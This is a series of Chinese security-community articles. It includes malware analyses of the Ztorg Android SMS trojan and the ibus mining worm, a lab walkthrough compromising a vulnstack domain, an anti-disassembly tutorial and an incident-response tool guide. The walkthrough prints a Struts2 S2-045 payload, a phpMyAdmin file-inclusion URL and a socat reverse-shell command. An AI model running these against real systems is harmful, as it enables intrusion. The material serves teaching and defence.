第二个应用程序，应用名为 “Noise Detector” ，具有相同的恶意功能，安装了10,000次以上。
#### 他们能做什么？
启动后，木马将等待10分钟，然后连接到其命令和控制（C＆C）服务器。它使用一种有趣的技术从 C＆C 获取命令：它向 C＆C 发送两个 GET
请求，并且都包括国际移动用户身份（IMSI）的一部分。第一个请求将如下所示：
GET c.phaishey.com/ft/x250_c.txt, where 250 – first three digits of the IMSI.
如果木马收到返回数据，将会发出第二个请求。第二个请求将如下所示：
GET c.phaishey.com/ft/x25001_0.txt, where 25001 – first five digits of the IMSI.
为什么木马需要这些来自 IMSI 的数字？
IMSI 的有趣之处在于前三位数字是 MCC（移动国家码），第三位和第四位是
MNC（移动网络代号码）。使用这些数字，网络犯罪分子可以识别受感染用户的国家和移动运营商。他们需要这些信息来帮助选择发送高付费短信。
针对这些请求，木马可能会收到一些加密的 JSON 文件，其中包含一些数据。此数据应包括 offer 列表，每个 offer 均包含一个名为 “url”
的字符串字段，可能含有或不包含实际的网址。木马将尝试使用自己的类打开/查看该字段。如果这个值确实是一个
url，那么木马会向用户显示其内容。但是如果它是别的东西，并带有一个 “SMS” 子串，用户将发送包含提供给该数字的文本的 SMS 。
这是发送短信的一种不寻常的方式。当它接收到访问的网址或发送的短信后，木马将关闭设备声音，并开始删除所有传入的短信。
我无法通过 Google Play 分发的木马获得任何命令。但是对于其他具有相同功能的木马程序，我得到了以下命令：
{“icon”:”http://down.rbksbtmk.com/pic/four-dault-06.jpg”,”id”:”-1″,”name”:”Brower”,”result”:1,”status”:1,”url”:”http://global.621.co/trace?offer_id=111049&aff_id=100414&type=1″}
这是一个定期的广告报价。
#### WAP计费订阅
我在 Google Play 商店外发现与 Google Play
商店相同功能的更多恶意应用。有趣的是，它们看起来不像独立木马，更像是一些木马程序的附加模块。
进一步的调查显示，这些木马由一个普通的 Ztorg 木马和其他 Ztorg 模块一起安装的。
在其中一些木马中，我发现他们通过 MCC（移动国家码）从恶意 url 下载了一个 JS 文件。
我使用不同的 MCC 下载了几个 JS 文件，来了解这些网络犯罪分子对来自不同国家的用户做些什么。我无法得到一个美国 MCC
的文件，但对于其他我试用过的国家，我收到了一些具有一些功能的文件。所有的文件都包含一个名为 “getAocPage” 的函数，它最有可能引用 AoC -付费建议。
在分析这些文件后，我发现他们的主要目的是通过 WAP
计费对网页进行点击劫持攻击（clickjacking）。这样一来，木马可以从用户的移动帐户窃取钱。WAP
帐单的工作方式与高付费短信类似，但通常采用订阅形式，而不是一次性付款作为大多数高付费短信。
这意味着木马从 CnC 获取的 url 网址不仅是广告 url ，也有可能是 WAP 帐单订阅的 url 。此外，一些具有此功能的木马程序使用包含
“/subscribe/api/” 的 CnC URL ，这也可以引用订阅。
所有这些木马，包括来自 Google Play 的木马，都在试图从设备发送短信。为了做到这一点，他们正在使用大量方法来发送短信：
总而言之，“Magic browser” 应用程序试图利用其代码中11个不同的地方发送短信。网络犯罪分子这样做是为了能够从不同的 Android
版本和设备发送 SMS 。此外，我还能找到另一种 Trojan-SMS.AndroidOS.Ztorg 的修改版本，它试图通过 “am” 命令发送 SMS
，尽管这种方法不行。
#### 与 Ztorg 恶意软件家族的关联
“Magic browser” 应用程序的升级方式与其他 Ztorg 木马程序类似。“Magic browser” 和 “Noise Detector”
应用程序与其他 Ztorg 木马代码相似。此外，最新版本的 “Noise Detector” 应用程序在安装包的 assets 文件夹中包含加密文件
“girl.png” 。解密后，这个文件就变成了一个 Ztorg 木马。
我还发现了几个具有相同功能的木马，它们是由一个普通的 Ztorg 木马和其他 Ztorg 模块安装的。而且这并不是第一个额外的 Ztorg
模块在谷歌中作为独立的木马发布的情况。在2017年4月，我发现一款名为 “Money Converter”
的恶意应用程序，它从谷歌游戏中安装了超过10,000次。它使用辅助性服务来安装谷歌游戏中的应用程序。因此，木马可以在不与用户交互的情况下，默默地安装和运行推广应用程序，即使是在无法获得
root 权限的更新设备上。
#### 木马 — SMS vs. root
Google Play 上有两个具有相同功能的恶意应用程序 - “Noise Detector” 和 “Magic browser”
，但我认为它们各自有不同的用途。“Magic browser” 首先上传到 Google
商店，我认为网络犯罪分子正在检查他们是否能够上传这种功能。他们上传恶意应用从程序后，并没有使用较新版本进行更新。
但是这是一个与 “Noise Detector” 不同的故事 - 在这里看起来像网络犯罪分子试图上传受 Ztorg
木马常规版本感染的应用程序。但是在上传过程中，他们决定添加一些恶意的功能来赚钱，同时他们还在发布恶意软件。而 “Noise Detector”
的更新历史证明了这一点。
5月20日，他们上传了一个名为 “Noise Detector” 的应用程序。几天后，他们用另一个“干净”的版本更新它。
几天之后，他们上传了一个版本到 Google Play ，其中包含一个加密的 Ztorg 木马程序，但没有解密和执行它的可能性。在第二天，他们终于用
Trojan-SMS 功能更新了他们的应用程序，但仍然没有增加执行加密的 Ztorg 模块的可能性。很有可能，如果该应用尚未从 Google Play
中删除，则他们将在下一阶段添加此功能。还有一种可能是，试图添加这个功能是让谷歌注意到木马的存在，并导致它的删除。
#### 结论
我们发现一个非常不寻常的 Trojan-SMS 通过 Google Play
分发。它不仅使用大约十几种方法来发送短信，而且还以一种非同寻常的方式初始化这些方法：通过使用 CnC
中的命令处理网页加载错误。它可以打开广告网址。此外，它与 Ztorg 恶意软件有相同的功能，通常由 Ztorg 作为附加模块安装。
通过分析这些应用程序，我发现网络犯罪分子正在从事点击劫持 WAP 计费。这意味着这些木马不仅可以打开广告网址，还可以发送高付费短信，还可以打开网页，通过
WAP 计费从用户账户偷钱。为了隐藏这些活动，木马关闭设备声音并删除所有传入的短信。
这并不是网络犯罪分子第一次通过谷歌来发布 Ztorg 模块。例如，在2017年4月，他们上传了一个模块，可以点击谷歌商店的应用按钮来安装甚至购买推广应用。
最可能的情况是，攻击者正在发布 Ztorg 模块，在他们试图上传常规的 Ztorg
木马的同时，还会花费额外的钱。我之所以这么说，是因为其中一个恶意应用程序有一个加密的 Ztorg 模块，但它无法解密。
#### MD5
F1EC3B4AD740B422EC33246C51E4782F
E448EF7470D1155B19D3CAC2E013CA0F
55366B684CE62AB7954C74269868CD91
A44A9811DB4F7D39CAC0765A5E1621AC
1142C1D53E4FBCEFC5CCD7A6F5DC7177
* * * | 社区文章 |
# 1 背景
近日阿里云安全团队发现了一起利用多个流行漏洞传播的蠕虫事件。黑客首先利用ThinkPHP远程命令执行等多个热门漏洞控制大量主机，并将其中一台“肉鸡”作为蠕虫脚本的下载源。其余受控主机下载并运行此蠕虫脚本后，继续进行大规模漏洞扫描和弱口令爆破攻击，从而实现横向传播。涉及的漏洞除了ThinkPHP远程命令执行漏洞，还有JBoss、Weblogic、Redis等产品的漏洞。
因为该蠕虫最初植入的恶意脚本名为ibus，所以命名为ibus蠕虫。本篇文章主要介绍了阿里云安全对此类蠕虫入侵的各个阶段的检测、防御和隔离，保障阿里云用户的资产安全。希望读者通过本篇文章，可以意识到当前网络安全的风险与日俱增，安全漏洞无处不在，黑客通过简单、自动化的手段就可以对用户利益造成极大的损害。
目前阿里云安全团队对网络进行了实时监控，并帮助云上用户修复潜在风险，如果漏洞依然存在，建议请尽快对自身进行检查，或者参考文末的安全建议。
# 2 蠕虫主要特点及结构
基于阿里云态势感知的大数据平台，我们对该黑客组织进行了追踪和详细分析，该黑客通过ThinkPHP漏洞和蠕虫脚本获取了大量的肉鸡进行牟利。阿里云安全团队详细分析了此蠕虫的主要特点，包括：
* 使用多种漏洞进行传播，以web代码执行漏洞为主；
* 恶意脚本的名字及路径具有迷惑性，且多份拷贝存放于不同的目录下；
* 主要代码perl实现，具备功能完备的C&C通信模块；
* C&C通信使用http协议，通信内容加密；
* 通过挖掘门罗币进行获利。
蠕虫的功能结构由恶意脚本、传播模块、C&C模块、挖矿模块等组成。
黑客首先利用ThinkPHP v5 远程命令执行漏洞攻击了大量主机，并将ip为67.209.177.163的服务器作为蠕虫脚本的下载源。
之后攻击者控制其他被入侵主机从67.209.177.163下载ibus脚本并执行。该脚本用perl语言写成，主要功能是解码、写入并执行C&C
(Command and Control)模块。
攻击者进而通过向C&C模块发送命令，下载包含多种攻击payload的传播模块，以及由下载器、配置文件和挖矿程序组成的挖矿模块，挖矿从而获取利润。传播模块则继续攻击未被入侵主机，横向传播。
黑客入侵的各个阶段如下图所示：
# 3 蠕虫模块分析
## 1 攻击及恶意脚本植入
对大多数被入侵主机，攻击者最初是利用ThinkPHP v5 远程代码执行漏洞，通过如下payload植入恶意脚本
可以看到这里从<http://67.209.177.163/ibus>
下载并运行了ibus。分析后发现ibus是一个perl脚本，该脚本会从Linux根目录开始遍历所有目录（最大深度为6），找出当前账号有写权限的所有文件夹，存入列表。
之后对列表中的目录进行打分，取分数最高的三个目录。打分标准例如完整路径以"/bin"开头的目录分数最高，"/usr/bin"其次，以此类推。
在最后挑选出来的三个目录中，写入同样的C&C模块脚本（脚本分析见后文），并分别命名为nmi,
nbus和.dbus。这三个都是系统程序的名字，定时执行时还会打印出“These are for bus-kernl-daemon
service”，非常具有迷惑性。
ibus脚本最后进行定时任务添加和脚本自删除操作。
# 2 传播模块
下图为攻击函数列表，可以看出此蠕虫代码利用了多种漏洞进行横向传播，包括java反序列化漏洞、Weblogic
WLS组件RCE漏洞(CVE-2017-10271)、WebLogic 任意文件上传漏洞(CVE-2018-2894)、redis 未授权访问漏洞等。
以下是部分攻击代码：
1）对JBoss用户名、密码暴力破解
涉及的部分用户名和弱口令列表：
2）使用weblogic漏洞上传Webshell
3）redis 未授权访问漏洞
## 3 C&C模块
该部分的内容是由ibus中的$encnde解码后得到，相同内容被写入三个不同的文件夹，难以被彻底清理。
C&C模块也是一个perl脚本，它实现了完整的控制功能：
脚本包含的核心函数/模块：
* newsocketto：实现socket通信
* GetCommand、PostCommand：实现基本的http get/post功能
* SendBackResult、SendBackState：返回c&c指令的执行结果和执行状态
* register：c&c上线注册
* check_relay：检测主c&c是否可用
* Knock_Knock：获取C&C指令，会返回needregr、newtask、notasks、newreconfig四种指令
* Update_Config_File、Load_Config_File：更新和加载配置文件
* DownLoadExec、DownLoadExecPar：下载文件并执行，DownLoadExecPar可带参数执行
* Updateme：更新
* scanme：扫描目录
* getrelfromblog、getrelfromblog1、srel：备用c&c
* crntabvalidator：修改crontabs属性，后面会循环执行，防止定时任务被删除
* UUID Management ：为每个肉鸡生成uuid
* MAIN Function：cc模块主函数
C&C模块的功能：
* MAIN Function通过Knock_Knock获取c&c指令，实现如下功能
* Command Execution :命令执行（实际并未实现执行功能)
* Download Execute:下载文件执行
* Download Execute W Params：下载文件带参数执行
* Uninstall：卸载自身
* killcycle：终止运行
* Update Me：更新
C&C服务器是speakupomaha.com：
下图为控制主机执行GetCommand的部分代码：
# 4 影响范围
由配置文件可知，ibus蠕虫对应的钱包地址为4An3Radh69LgcTHJf1U3awa9ffej4b6DcUmEv8wirsDm8zRMSjifrwybH2AzHdEsW8eew3rFtk4QbGJMxqitfxmZJhABxpT。其影响范围从攻击者收益和挖矿规模的角度来看，由于该钱包地址在<http://minexmr.com/#worker_stats>
对应的挖矿速率(HashRate)约为167KH/s，据此粗略估计，全网约有1万台的主机被这种蠕虫感染，黑客因此每天能牟利30.86美元（925.74美元
每月）。
而从攻击时间上看，1月4号和12号是黑客攻击的高峰，且蠕虫攻击仍在蔓延。
# 5 安全建议
针对此次ibus蠕虫攻击，阿里云安全向用户提供以下安全建议：
1. 互联网上扫描和攻击无处不在，web漏洞、弱密码、服务器存在未授权访问，都可能导致主机被挖矿，应尽量避免使用弱密码，此外可以选择购买阿里云的云防火墙和态势感知实现威胁检测、主机防御和安全隔离。
2. 对于已感染的客户，可以通过购买阿里云安全管家服务，在安全专家的指导下进行病毒清理和安全加固。
## IOC
从virustotal查询发现，9b6c1672fc9d5721af5ae6ac9d053b34 这个恶意脚本IoC，目前市面上大多数引擎检测不出来。
而阿里云态势感知基于深度学习和规则引擎的模型可以对大部分的恶意脚本进行识别。态势感知告警如下图所示，
钱包地址：
4An3Radh69LgcTHJf1U3awa9ffej4b6DcUmEv8wirsDm8zRMSjifrwybH2AzHdEsW8eew3rFtk4QbGJMxqitfxmZJhABxpT
恶意Host：
67.209.177.163
190.2.147.11
C&C 服务器：
<http://speakupomaha.com>
备用C&C服务器：
linuxservers.000webhostapp.com
linuxsrv134.xp3.biz
5.196.70.86
矿池地址：
<http://minexmr.com> | 社区文章 |
# 从外网到域控（vulnstack靶机实战4）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
大家好，我是鸿鹄实验室的lengyi,红日靶机又更新了，所以我就玩了玩…
vlunstack是红日安全团队出品的一个实战环境，具体介绍请访问：<http://vulnstack.qiyuanxuetang.net/vuln/detail/6/>
具体的网络架构作者已经给出，如下图：
ubuntu为我们的web环境，其中的web环境需要手动开启，全部为docker环境，启动方法如下：
docker-compose build
docker-compose up -d
需要启动的环境分别为：s2-045、CVE-2017-12615、 cve-2018-12613，别问我怎么知道的，问就是试的….
全开的效果：
## 外网测试
既然是docker的环境，那就把三个web全部拿下先，先从tomcat的开始，CVE-2017-12615是一个老漏洞了，很简单的利用，put上传webshell即可。
然后发现目标为root权限（docker环境不为root还奇怪呢…）
好，我们这个先放到一边，再来继续测试另外两个环境，CVE-2018-12613,这个是一个phpmyadmin的洞，也就是文件包含，利用起来也还算方便，方法如下（环境为config模式，可直接使用test账户登录）：
http://192.168.0.104:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
至于包含shell也是比较简单的，select执行一个php代码，包含自己的session即可。
下面是st2-045，st2系列也是一个经典的系列，直接构造下面的数据包即可rce。
POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
好了，三个环境就算是基本完成了，下面就是一个比较重要的问题，docker逃逸。我这里使用cve-2019-5736进行逃逸。先使用msf搞一个shell回来：
这里是我们可以修改在宿主机上进行操作的命令
可自行修改对于的payload，然后编译，
go build main.go
然后将编译好的文件传到目标机上，因为我已经有了一个大马了，上传很方便。继续为了方便,socat搞一个tty的shell过来
socat file:`tty`,raw,echo=0 tcp-listen:4444
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
执行
然后在主机执行：
Poc执行成功：
然后我们用这种方法(直接传shell或者添加用户搞shell)在宿主机上执行一个cs和msf的shell回来。
## 横向移动
msf添加路由，session返回到后台
因为有拓扑图，只需要进行攻击即可，我们先来测试win7，内网嘛，17-010试试？
不过，有一说一，我就没打虚拟机成功过….
当然也有可能是uac的问题，换成bypassUAC的进行测试：
获得shell
且直接是system权限：
进入交互模式，随手一看，发现有一些存在的工具，不知道是不是作者的安排,虽然没有到时候也需要传一些…
## 进攻域控
先抓一下win7的明文：
然后就是忌出我们的ms14-068了
然后查看本机用户的id
写入成功：
mimikztz注入票据
获取域控权限：
然后将payload放到ubuntu上，使用certutil下载、执行，即可获取shell。
发现部分administrator的进程
进行令牌窃取
获得administrator权限，然后抓取明文密码
打完收工。
## 总结
哦，谢谢红日的各位师傅们，拜谢，啊，我想开学… | 社区文章 |
最近在学习 **反-反汇编** 技巧，以此记录，patch的实例程序在附件中
仅仅是新手的学习记录，大佬轻喷
# 编写一个测试程序
这个程序没有什么意义，在IDA中把`puts`函数patch成`nop`用于添加我们自己的指令
> 肯定有更好的方法，但是这里只是为了练习
visual studio 2019 preview x64 release编译
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char** argv) {
char a;
system("pause");
a = getchar();
puts("nop me");
puts("nop me");
puts("nop me");
puts("nop me");
puts("nop me");
puts("nop me");
puts("nop me");
putchar(a);
system("pause");
return 0;
}
# patch过程
## 添加nop
IDA打开，根据字符串找到我们自己的逻辑
把一部分`puts("nop me")` patch成`nop`，类似这样，在这些nop中开始表演
## 添加特别的汇编指令
这里现在一堆`nop`中添加如下的两条指令，来分析一下
`call $+5`也就是跳转到`pop rax`，看起来和直接跳到下一条指令没什么区别
但实际上，`call`会把下一条要执行的指令地址压栈，这里也就是把`0x140001035`压栈
再`pop rax`，这时`rax`就是`0x140001035`了
调整`rax`的位置，加上8以后`jmp rax`，准备跳到原本的指令中
这里`rax==0x140001035+8==0x14000103C`
patch到这里，保存一下，即附件中的`patched1`
在IDA中重新打开，调试发现，`jmp rax`即将跳转到jmp指令的之后的某条指令上
## 添加垃圾指令
为了让反汇编引擎"出错"，我们可以在中间即将跳过的nop中，添加特殊的垃圾指令
比如刚刚动态调试发现会跳转到`...03D`的位置上，那我们就让`03D`的指令是jmp到接下来的原程序流程
这里也就是跳转到`puts("nop me")`
保存一下，作为`patched2`
可以看到还是可以正常运行的
虽然IDA的反汇编引擎识别的不错，但是F5的结果就有点差了
我们改成`0xEB`，保存为`patched3`，重新打开，可以看到IDA的反汇编已经把很多指令识别为数据了
F5后也看不到原本的几个`puts("nop me")`了
# 让IDA正确分析
本程序中，可以通过动态调试发现`jmp rax`的目的地，然后从`call $+5`开始，把这些指令都nop掉，直接jmp 到该去的地址，帮助IDA正确分析
帮助IDA了解哪些是数据、哪些是代码指令，可以用`U D C`这三个快捷键，应该是undefine,data,code的意思 | 社区文章 |
# 应急响应的神兵利器
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.文章概述
本文主要介绍windows以及linux应急响应方面的知识以及排除思路以及笔者日常使用的相关的优秀工具。
## 2.windows篇
windows终端的应急排除的话,我一般先会查看该终端的网络连接情况来判断是否有异常的连接，根据连接的地址我们可以去威胁情报平台(比如奇安信的TI)查询是否是恶意的或者为已知IOC，同时需要对产生可疑网络连接的进程进行进一步分析我这里使用的是pchunter工具。
可以通过工具看到产生网络连接对应的进程以及相关端口
对于进程我们需要首先检查是否有数字签名，子父进程的关系，进程的运行参数，进程加载的dll是否有签名是否是可疑的dll(dll劫持白加黑)，对可疑的进程或者dll可以在第三方平台进行检测或者沙箱跑行为看是否存在恶意的行为。可以通过pchunter工具批量检查当前没有签名的进程或者进程中加载了没有签名的模块，同时需要查看命令行参数是否有攻击行为。查看子父进程关系以及命令行参数最好还是使用process
explorer
通过process exploer软件可以清晰的看到子父进程之间的关系，svchost-wmiprvse-cmd具有经验的攻击检测人员可以很明显发现这种进程链很明显是通过wmi手法横向移动的时候受害终端产生的进程链，同时这命令行也是十分可疑的使用通过网络传输在远程主机上创建具有以“__”开头的特定名称和
unix 时间戳的临时文件执行里面的命令
同时也需要检查进程中是否存在可疑的线程，通常攻击者会注入系统进程来达到权限维持或提升的操作，通常是对产生网络连接的进程需要检查一下线程情况，这里通过火绒剑对怀疑的进程检查其线程，主要看是否存在没有模块没有版本没有描述的线程在运行的情况
同时可疑进程打开的文件句柄也是需要检查的，通过分析可疑进程打开的文件句柄发现如下可疑文件：C:\Windows\System32\bxomofr.dll，由于svchost进程一般加载dll只有两种方式：
1.通过服务注册一个dll；
2.Svchost进程依赖的dll会在服务启动时加载；
除此外，一个dll不会通过打开文件句柄的方式进行加载（通常以句柄方式打开的文件都是数据类型的文件，而不是dll文件），因此上述文件十分可疑。
我们在使用process explorer工具可以开启签名校验以及virustotal检查协助我们分析判断，CPU或内存资源
长时间或过高占用的进程以及孤儿进程也是怀疑对象
对可疑的进程也需要查看该程序在磁盘中以及在内存中硬编码的字符串来帮助我们判断是否可疑可以看字符串中是否存在可疑的IPURL以及危险函数啊键盘按键啊之类的，同时程序运行起来后在磁盘中字符串与在内存中的字符串差距应该是不大的
如果该进程很有可能内存的内容被修改了，当然对可疑的可以直接跑沙箱，或者自己使用工具监控其运行行为
当我们从网络，进程都不是很好判别出来的时候我们可以看看启动项的信息看看有没有线索协助我们分析，攻击者一般都会留下后门来维持持久化。主要也是检查启动项中是否存在可疑的程序可以通过没有签名的文件，文件路径，文件名，注册的名称等进行怀疑，对可疑的程序可以进行跑沙箱或者virustotal等平台进行信誉度检测，维持持久化的程序需要重点关注其加载的dll，很多都是利用白程序服务加载恶意的dll来躲避我们分析，比如一个windowsdefend服务被攻击者通过dll劫持，使其加载恶意的dll你使用pchunter或者其他工具分析的时候你肯定会忽略掉这种白服务，所以前面提到的进程加载的dll打开的文件句柄进程中的线程等都需要重点关注。
这里最好使用autoruns对启动项进行检查这里记录了大部分的能够实现自启动的方法，直接选择everything这一选项就可以了everything就是所有其他选项的集合，同时可以开启virustotal扫描协助你判断。
同时还有一些维持持久化的方法比如文件关联，映像劫持隐藏用户，是否有可疑的未签名的驱动加载了，进程是否被挂钩等都需要检测，这里可以使用pchunter电脑体检功能快速帮你输出检查项，但是对于部分内容比如钩子检查是否误报等需要专业的同事协助你分析。简单的隐藏用户文件关联等我相信大部分同学都会鉴别是否是误报
对于排查清理过程中遇到一些文件隐藏的情况，可以通过pchunter里面的文件功能查找定位并清除隐藏属性，对于删不掉的程序也可以使用该工具强制删除。everything工具也可以查找显示出隐藏文件。
遇到病毒木马或者异常外连c2等攻击行为反复出现的情况一般来说是后门持久化没有清除干净，如果无法通过上面的方法发现的话最好安装sysmon来记录日志以及自带的windows日志通过日志分析来定位出具体方法。分析这两种日志好用的免费工具就是sysmonview以及APT-hunter,logontracer
分析sysmon日志我们只需要将日志以xml格式导出，然后导入sysmonview中，可以看到他以每个进程会话维度将该进程会话发生的所有事件串了起来，同时我们导入virustotal,ipstack的APIkey后还可以帮我们分析文件是否报毒，帮你定位IP地址，通过这个工具我们可以很方便分析日志中发生的行为。
从图中我们可以看到cmd启动了adfind同时adfind的命令行参数以及adfind在VT上的信誉度
从图中我们可以看到autoruns进程产生了网络连接外连IP以及IP的真实地址
其还有强大的搜索功能可以模糊匹配日志中存在的任何信息并把匹配上的事件都显示出来，将日志中所有的进程以进程树的样子显示出来
图中搜索了mimikatz然后下方显示了所有日志中字段带有mimikatz的日志
导入的日志以进程树方式显示
windows日志我们可以通过LogonTracer工具他是一种通过可视化和分析 Windows Active Directory
事件日志来调查恶意登录的工具。此工具将在登录相关事件中找到的主机名（或 IP
地址）和帐户名相关联，并将其显示为图形。这样，就可以看到在哪个帐户登录尝试发生以及使用了哪个主机。工具帮我们分析了各种类型的登录以及一些内置的规则来检测一些恶意攻击比如dcsync,ms14-068等红色的是管理员账户，绿色是主机，蓝色是普通账户，可以很明显看到登录类型登录认证的方式，他也通过了内置的一些规则以及一些模型帮忙筛选出来一些可能是PTH方式登录的。这里主要使用了下面几种日志
4624: Successful logon
4625: Logon failure
4768: Kerberos Authentication (TGT Request)
4769: Kerberos Service Ticket (ST Request)
4776: NTLM Authentication
4672: Assign special privileges
APT-Hunter
工具可以自动化帮我们收集windows上可用的日志与其内置的规则进行匹配，帮我们从大量日志中筛选出可疑的协助我们分析。使用该工具分析完成后会生成一个csv文件里面记录了各种日志匹配上规则产生的事件，可以看到从security日志他分析出了PTT攻击以及一些计划任务被用户创建可疑的powershell命令事件严重等级也标注出来了。
其实windows日志记录了很多内容并不是只有4624可以协助我们分析，4688记录了的子父进程命令行参数同样是十分重要的，当然也不止security日志还有很多powershell，winrm，bits等日志，大部分同学可能没有时间或精力去记住这些或者查询这些使用上面的工具自动化帮我们检索有用的日志其实也是够用了。但是这个规则肯定是不完善的建议定位到攻击的时间点后自己慢慢审日志.
终端上的安全软件的日志也是我们重点关注的对象，里面会记录未知文件的云查。终端新落盘的文件一般会触发安全杀软的实时防护，对其进行扫描检查判断其黑白，黑的一落盘就已经已经被查杀了，当然如果是未知的PE文件的话则会上传到杀软的云中心继续进行鉴定。所以未知文件也是我们需要重点关注的，攻击者很有可能上传了免杀样本。
同时这里也提一下LastActivityView软件他可以从各种来源收集信息，包括注册表，Windows的事件日志，Windows的Prefetch文件夹（C：\
windows \ Prefetch），Windows的Minidump文件夹（C：\ Windows \
Minidump）等来记录当前电脑的使用记录，方便我们分析。
安全软件一般来说都还有主防的日志以及病毒查杀的日志可以协助我们分析，主防主要是拦截的恶意行为比如攻击者想通过命令行修改注册表敏感的注册表键值可能被杀毒监控者如果修改则很有可能被拦截行为比如net
user a a /add
这种添加用户的命令一般都会被主防拦截，病毒查杀的日志则我们帮助我们判断当前电脑被查杀的文件有可能攻击者第一次上传的文件并没有免杀导致被安全软件查杀这时候我们可以提取样本分析。
一般来说看查杀记录的报毒名我们也能简单分辨样本类型一般报毒名可能采用的是4段命名法第一段是病毒的类型是木马还是后门蠕虫等第二段是运行的平台32位还是64还是linux之类第三段是家族是否有家族第四段就是家族变种了。可以看到病毒记录里面有记录黑客工具pchunter的使用还有后门meterpreter还有script脚本木马等。
这里介绍一下简单的PE文件分析
静态分析的话主要就是查看文件的创建时间啊有没有签名以及有没有加壳，使用了哪些API函数,以及文件的硬编码字符串。
动态分析的话一般可以使用systracer，procmon或者火绒剑进行行为分析，看行为是否有恶意的。
procmon工具：在虚拟机里面启动procmon然后运行样本来观测其行为，我们可以先不使用过滤器，运行样本完成后我们选择process
tree来观测样本行为
我这里运行了一个宏样本可以看到winword进程启动了mshta并且下方命令行显示了mshta产生了网络连接，这时候我们可以通过下方的3个按钮来查看具体的行为我一般选择include
subtree查看当前进程的进程树
可以根据上面的按钮来对行为进行进一步筛选分析因为行为的量庞大的，上面4个分别是注册表，文件，网络，进程或线程。也可以直接使用过滤器对操作进行过滤我一般查看以下7个行为，这几个行为可以看到对系统造成了哪些修改
火绒剑同理不过这些动作是中文并且清晰的统计了每个动作的数量对于一些量大也不是很重要的我们可以忽略查看。但是火绒剑不只是行为监控强大，他同时还具有pchunter，process
explorer，以及可以对内存dump等，不过每个工具都有不可替代性，用多了就有所体会了。
systracer应该是行为监控中最简单的了双击运行要监控的程序即可，程序对系统的修改以及一些行为也很清晰在软件中显示相较于前面2个软件监控点较少所以对应的日志也相应较少。
沙箱分析推荐使用微步或者app.any.run或者virustotal，通过上传这些平台我们主要是查看引擎报毒情况从报毒名来查看是否是某个家族某个黑客工具协助我们分析判断，同时还可以看到样本在沙箱环境中运行的行为，以及样本第一次上传的时间以及IOC等，我们最好把样本多传几个平台因为每个平台的数据可能不太一样可能是因为调接口数据的原因，也可能是调用的杀软引擎不一致，一个杀软应该来说有好几种引擎（从下图可以看到同样的样本微步看tencent不报毒但是VT上报毒了）
个人比较喜欢使用anyrun他可以把样本运行过程中的行为很清楚的显示给我们无论是流量还是进程树，还可以对中间释放或者下载的文件进行再次下载上传分析，从下图可以看到该样本下载了一个新的PE文件file4.exe.这个平台也是免费下载样本的平台非常好用。
## 3.linux篇
linux应急响应大体思路基本与windows一致都是看有没有异常的网络连接，通过网络连接定位进程，检查进程以及文件是否是恶意的，同时也是需要检查计划任务服务rootkit等持久化项。github上也总结了linux相关或者windows的相关排查命令（<https://github.com/theLSA/emergency-response-checklist>),
当然也有比较好的工具集成了这些检测项，Gscan工具实现主机侧Checklist的自动全面化检测，根据检测结果自动数据聚合，进行黑客攻击路径溯源。该工具最好与rootkit排查工具一块使用。
rootkit是Linux平台下最常见的一种木马后门工具，它主要通过替换系统文件来达到入侵和和隐蔽的目的，这种木马比普通木马后门更加危险和隐蔽，普通的检测工具和检查手段很难发现这种木马。rootkit攻击能力极强，对系统的危害很大，它通过一套工具来建立后门和隐藏行迹，从而让攻击者保住权限，以使它在任何时候都可以使用root
权限登录到系统。
rootkit主要有两种类型：文件级别和内核级别。
文件级别的rootkit:
一般是通过程序漏洞或者系统漏洞进入系统后，通过修改系统的重要文件来达到隐藏自己的目的。在系统遭受rootkit攻击后，合法的文件被木马程序替代，变成了外壳程序，而其内部是隐藏着的后门程序。通常容易被rootkit替换的系统程序有login、ls、ps、ifconfig、du、find、netstat等。
内核级rootkit:
是比文件级rootkit更高级的一种入侵方式，它可以使攻击者获得对系统底层的完全控制权，此时攻击者可以修改系统内核，进而截获运行程序向内核提交的命令，并将其重定向到入侵者所选择的程序并运行此程序。从而可以实现对任意目录、文件、磁盘内容、进程、网络连接与流量的隐藏、窃取和篡改，并提供隐蔽的后门可供黑客直接登录到受害服务器执行更多操作。
目前常使用的检测rootkit的工具Chkrootkit和Rkhunter可以协助我们对已知的rootkit进行检测，不过他主要是对已知类型Rootkit的文件等特征判断，无法检测出未知的rootkit。要检测未知的rootkit还是需要使用Volatility内存取证工具分析判断.在应急响应过程中web日志以及数据库日志对于我们来说也是需要排查的，可以找出攻击者的webshell以及入侵IP。同样的工具直接出来的结果肯定是片面的,我们最好把常用的检测命令写成脚本统一收集起来分析防止漏报.这里介绍一个开源的检测脚本<https://github.com/al0ne/LinuxCheck>,
这个脚本不仅收集了常用的排查命令还有其他方面的检测。
## 4.总结
由于已经有很多文章或者github里面总结了应急过程中常用的排查命令，本文并没有介绍一一介绍演示这些常用命令,文章中也只是简单的介绍了笔者经常使用的比较好的工具，并未详细讲解每个工具如何使用，日常应急过程其实主要就是看进程看网络看持久化项看日志来帮助我们分析定位问题，工具只是帮助我们简化工作，真正的威胁狩猎应急响应是需要丰富的实操经验以及对大量攻击手法产生的行为的了解,纸上得来终觉浅，绝知此事要躬行。 | 社区文章 |
## **1 分析环境**
操作系统：Window 7
软件 ：IE 8
## **2 基本信息**
漏洞类型：堆溢出
影响范围： Microsoft Internet Explorer 6至9版本中存在漏洞
这个漏洞就是在Pwn2Own黑客大赛上用于攻破IE9的漏洞，我们一起来分析一下
POC MD5：97bff46c1f8ad00d05520b531aace884
我们打开页堆，打开IE8，用windbg附加上以后，将windbg设置成跟踪子进程（.childbg）后，我们可以看到发生异常，edi是页堆地址
